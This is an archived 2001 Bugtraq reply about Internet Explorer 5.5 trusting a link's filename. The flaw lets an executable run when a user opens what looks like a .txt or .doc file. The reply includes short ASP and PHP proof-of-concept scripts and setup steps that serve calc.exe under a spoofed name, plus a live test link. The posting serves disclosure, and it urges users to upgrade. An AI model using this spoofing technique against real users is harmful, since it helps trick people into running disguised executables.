RE: File extensions spoofable in MSIE download dialog

From: Jonathan G. Lampe (jonathan@stdnet.com)
Date: 11/29/01 

Message-Id: <5.1.0.14.0.20011129115328.00ae0e70@mail.stdnet.com>
Date: Thu, 29 Nov 2001 12:34:50 -0600
To: bugtraq@securityfocus.com, static@tampabay.rr.com
From: "Jonathan G. Lampe" <jonathan@stdnet.com>
Subject: RE: File extensions spoofable in MSIE download dialog

I have confirmed Jouko Pynnonen's and StatiC's findings that IE 5.5 sp 2
allows executables to run as soon as a user has elected to open what
appears to be a normally harmless ".txt" file. (IE 5.5 trusts the filename
provided in the link over the filename suggested by the header's filename
tag and/or the use of an "application/octet-stream" content type.)

This bug/hole should be a compelling reason for anyone still running IE 5.5
or less to either upgrade to IE 6.0 (which still did not appear to have
this problem when last checked) or finally make the move to Netscape,
Opera, etc. (It's about as much work no matter which company/version you
choose.)

Here is the ASP equivalent code to StatiC's php tidbit (tested under both
IIS 4 and 5):

<%

Const adTypeBinary = 1
Dim strFilePath

Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"

strFilePath = Server.MapPath(".") & "\calc.exe"

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath

Response.BinaryWrite objStream.Read

objStream.Close
Set objStream = Nothing

%>

Additionally, you can see this code in action here:

http://208.212.86.151/test.doc

(Note that the bug/hole does not just "trust" .txt extensions - .doc, .log
are but a few of the other ones you can slip by most users.)

- Jonathan Lampe - jonathan@stdnet.com - Standard Networks, Inc.- 608-227-6100
(Thanks to Stephen Nickels for the public posting.)

At 08:51 PM 11/28/2001, you wrote:
>I was playing with apache configs a few months ago and noticed a similar
>issue with IE5.5. The procodure below will cause IE5.5 to display the
>open dialog for readme.txt but once opened, it executes immediately on
>IE5.5 sp2 with no hint that it is really getting an executable file called
>calc.exe. I only tested it with IE5.5.
>
>With an apache/php server add .txt to the already existing .php extension
>in the apache.conf file, so that apache will recognise .txt extensions as
>php script files.
>
>1. Copy the real windows calc.exe from a windows system to the html root dir.
>
>2. Copy the readme.txt file below to the same html root dir.
>
>3. go to the url http://yourserver/readme.txt
>
>You will see the same behavior mentioned in the previous alert.
>
>FILE <readme.txt> BEGIN ----
><?php
>Header("Content-type: application/octet-stream");
>Header("Content-Disposition: attachment; filename=calc.exe");
>readfile("calc.exe");
>?>
>FILE <readme.txt> END ----
>
>Why does microsoft think it is wise to trust the filename in the url over
>what the header content-type is set to for display purposes since the
>content-type seems to take priority for what will really happen with the file.
>
>StatiC

Relevant Pages

  • RE: STG Security Advisory: [SSA-20041215-17] Vulnerability of uploading files with multiple exten
    ... "multiple extensions" behaviour in the past. ... There are a huge number of 3rd party PHP scripts out there ... upload a file without a registered MIME type are somewhat reduced. ... extensions behaviour for handlers as there seemed no legitimate ...
    (Bugtraq)
  • Re: creating stand-alone extended tclsh
    ... You're right, more Tclers enjoy flexibility offered by dynamically loading extensions, and this is probably good way to go when running on a single machine. ... With static linking this is a problem, with dynamic loading Tcl will load the correct version in for you automatically. ... a simple solution to tag executables, ...
    (comp.lang.tcl)
  • Loading DLLs from different path
    ... PHP is a popular server-side scripting language for web servers. ... It popularity is mainly due that it has many 3rd party extensions. ... The issue is that our DLL is dependent on RPC application server API DLLs in a different folder. ... The problem is that we never recommended putting dlls on the PATH nor do we recommend for our customers to have copies of DLLS over all the place. ...
    (microsoft.public.win32.programmer.kernel)
  • Re: Are PHP libraries linked dynamically or statically?
    ... The PHP interpreter itself is executable. ... PHP scripts are just interpreted by the executable. ... The interpreter may statically or dynamically link to other libraries; like other executables, statically linked libraries are handled at compile time and become part of the executable. ...
    (comp.lang.php)
  • Re: [PHP] Include an encoder into PHP distribution?
    ... >> libraries will not be accepted by the PHP group. ... I think that an encoder ... PHP already comes with extensions for the same ... caching, including Zend and Ioncube's. ...
    (php.general)
Loading